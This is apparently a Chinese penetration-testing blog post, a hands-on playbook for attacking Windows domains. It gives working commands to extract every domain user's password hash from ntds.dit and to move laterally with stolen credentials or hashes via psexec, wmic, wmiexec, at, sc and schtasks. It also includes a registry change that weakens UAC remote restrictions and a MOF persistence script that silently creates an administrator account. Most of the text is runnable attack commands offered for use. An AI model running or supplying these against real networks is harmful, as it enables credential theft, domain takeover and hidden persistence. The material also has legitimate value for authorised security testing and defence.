#####vssown.vbs + libesedb + NtdsXtract 上面的 QuarkPwDump 是在 win 上面分析 ntds.dit, 这个是 linux 上面的离线分析 优点是能获取全部的用户, 不用免杀, 但是数据特别大, 效率低, 另外用 vssown.vbs 复制出来的 ntds.dit 数据库无法使用 QuarksPwDump.exe 读取

hash 导出:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

最后需要 copy 出 system 和 ntds.dit 两个文件

c:\\windows\\system32\\config\\system
c:\\windows\\ntds\\ntds.dit

记得一定要 delete 快照!!!

cscript vssown.vbs /delete \*

本地环境搭建 + 分析:

libesedb的搭建:
wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz
tar zxvf libesedb-experimental-20151213.tar.gz
cd libesedb-20151213/
./configure
make
cd esedbtools/
(需要把刚刚vbs脱下来的ntds.dit放到kali)
./esedbexport ./ntds.dit
mv ntds.dit.export/ ../../
ntdsxtract工具的安装:
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract\_v1\_0.zip
unzip ntdsxtract\_v1\_0.zip
cd NTDSXtract 1.0/
(需要把刚刚vbs脱下来的SYSTEM放到/root/SYSTEM)
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link\_table.5 --passwordhashes '/root/SYSTEM'

ntdsdump laterain 的推荐http://z-cg.com/post/ntds\_dit\_pwd\_dumper.html 是 zcgonvh 大牛根据 quarkspwdump 修改的,=。=,没找到和 QuarkPwDump 那个修改版的区别 获取 ntds.dit 和 system.hiv 之后 (不用利用那个 vbs 导出, 好像并不能分析出来)

利用 powershell(DSInternals) 分析 hash

查看 powershell 版本:

$PSVersionTable.PSVersion
看第一个Major
或者
Get-Host | Select-Object Version

Windows Server 2008 R2 默认环境下 PowerShell 版本 2.0,应该升级到 3.0 版本以上, 需要. NET Framework 4.0

需要文件:

ntds.dit(vshadow获取)
system(reg获取)

执行命令:

允许执行脚本:
Set-ExecutionPolicy Unrestricted
导入模块(测试是win2012\_powershell ver4.0):
Import-Module .\\DSInternals
(powershell ver5.0)
Install-Module DSInternals
分析hash,并导出到当前目录的hash.txt文件中
1、$key = Get-BootKey -SystemHivePath 'C:\\Users\\administrator\\Desktop\\SYSTEM'
2、Get-ADDBAccount -All -DBPath 'C:\\Users\\administrator\\Desktop\\ntds.dit' -BootKey $key | Out-File hash.txt

这个只是离线分析了 ntds.dit 文件, 其实也可以在线操作,=。=, 不过感觉实战中遇到的会比较少, 毕竟现在主流是 win08 为域控 (以后这个倒不失为一个好方法) 。

远程连接 && 执行程序 

at&schtasks 需要开启 Task Scheduler 服务

经典流程:

1、进行一个连接
net use \\\\10.10.24.44\\ipc$ 密码 /user:账号
2、复制本地文件到10.10.24.44的share共享目录(一般是放入admin$这个共享地方(也就是c:\\winnt\\system32\\),或者c$,d$)
copy 4.bat \\\\10.10.24.44\\share
3、查看10.10.24.44服务器的时间
net time \\\\10.10.24.44
4、添加at任务执行
at \\\\10.10.24.44 6:21 \\\\10.10.24.44\\share\\4.bat
这个6:21指的是上午的时间,如果想添加下午的,则是6.21PM
5、查看添加的所有at任务列表(如果执行了得,就不会显示)
at \\\\10.10.24.44

其他命令:

查看所有连接
net use
删除连接
net use \\\\10.10.24.44\\share /del
映射共享磁盘到本地
net use z: \\\\IP\\c$ "密码" /user:"用户名"
删除共享映射
net use c: /del
net use \* /del

at 过去后如果找不到网络路径, 则判断是目标主机已禁用 Task Scheduler 服务

psexec 第一次运行会弹框, 输入–accepteula 这个参数就可以绕过

psexec.exe \\\\ip –accepteula -u username -p password program.exe

另外两个比较重要的参数

\-c <\[路径\]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\\\ip –u user –p pass –c c:\\getpass.exe –d

另外学习一波 pstools 的一些运用:http://blog.csdn.net/sysprogram/article/details/13001781

如果出现找不到网络名,判断目标主机已禁用 ADMIN$ 共享

wmic net use 后

copy 1.bat \\\\host\\c$\\windows\\temp\\1.bat
wmic /node:ip /user:test /password:testtest process call create c:\\windows\\temp\\1.bat

ps: 如果出现 User credentials cannot be used for local connections, 应该是调用了 calc.exe 权限不够的问题 如果出现 Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断 WMI 服务被禁用

wmiexec.vbs

1、半交互模式
cscript.exe //nologo wmiexec.vbs /shell ip username password
2、单命令执行
cscript.exe wmiexec.vbs /cmd ip username password "command"
3、wce\_hash注入
如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip

wmi 只是创建进程, 没办法去判断一个进程是否执行完成 (比如 ping), 这样就导致 wmi.dll 删除不成, 下一次又是被占用, 这时候修改一下 vbs 里面的名字就好:Const FileName = "wmi1.dll", 也可以加入-persist参数 (后台运行)

另外有一个 uac 问题非域用户登陆到 win08 和 2012 中, 只有 administrator 可以登陆成功, 其他管理员账号会出现 WMIEXEC ERROR: Access is denied 需要在 win08 或者 2012 上面执行, 然后才可以连接:

cmd /c reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG\_DWORD /d 1 /f

想更详细了解的可以看看:https://www.91ri.org/12908.html

smbexec 这个可以根据其他共享 (c$、ipc$) 来获取一个 cmd

先把execserver.exe复制到目标的windows目录下,然后本机执行
test.exe ip user pass command sharename

powershell remoting 感觉实质上还是操作 wmi 实现的一个执行程序

https://github.com/samratashok/nishang/blob/5da8e915fcd56fc76fc16110083948e106486af0/Shells/Invoke-PowerShellWmi.ps1

SRC 创建服务执行 一定要注意的是 binpath 这些设置的后面是有一个空格

1、系统权限(其中test为服务名)
sc \\\\DC1 create test binpath= c:\\cmd.exe
sc \\\\DC1 start test
sc \\\\DC1 delete test
2.指定用户权限启动
sc \\\\DC1 create test binpath = "c:\\1.exe" obj= "centoso\\administrator" passwrod= test
sc \\\\DC1 start test

schtasks schtasks 计划任务远程运行

命令原型:
schtasks /create /tn TaskName /tr TaskRun /sc schedule \[/mo modifier\] \[/d day\] \[/m month\[,month...\] \[/i IdleTime\] \[/st StartTime\] \[/sd StartDate\] \[/ed EndDate\] \[/s computer \[/u \[domain\\\]user /p password\]\] \[/ru {\[Domain\\\]User | "System"} \[/rp Password\]\] /?
For example:
schtasks /create /tn foobar /tr c:\\windows\\temp\\foobar.exe /sc once /st 00:00 /S host /RU System
schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host

验证失败:win03 连到 08,xp 连到 08,xp 连到 03(但是并没有真正的成功执行, 不知道是不是有姿势错了)

更多用法:http://www.feiesoft.com/windows/cmd/schtasks.htm

SMB+MOF || DLL Hijacks 其实这个思路一般都有用到的, 比如在 mof 提权 (上传 mof 文件到 c:/windows/system32/wbem/mof/mof.mof) 中, lpk_dll 劫持 不过测试添加账号成功... 执行文件缺失败了

#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")
instance of \_\_EventFilter as $EventFilter
{
    EventNamespace = "Root\\\\Cimv2";
    Name  = "filtP2";
    Query = "Select \* From \_\_InstanceModificationEvent "
            "Where TargetInstance Isa \\"Win32\_LocalTime\\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user admin adminaz1 /add\\")";
};
instance of \_\_FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

PTH + compmgmt.msc

一如既往的学习,一如既往的整理,一如即往的分享。感谢支持

【好书推荐】

2020hw 系列文章整理(中秋快乐、国庆快乐、双节快乐)

HW 中如何检测和阻止 DNS 隧道

ctf 系列文章整理

日志安全系列 - 安全日志

【干货】流量分析系列文章整理

【干货】超全的 渗透测试系列文章整理

【干货】持续性更新 - 内网渗透测试系列文章

【干货】android 安全系列文章整理

扫描关注 LemonSec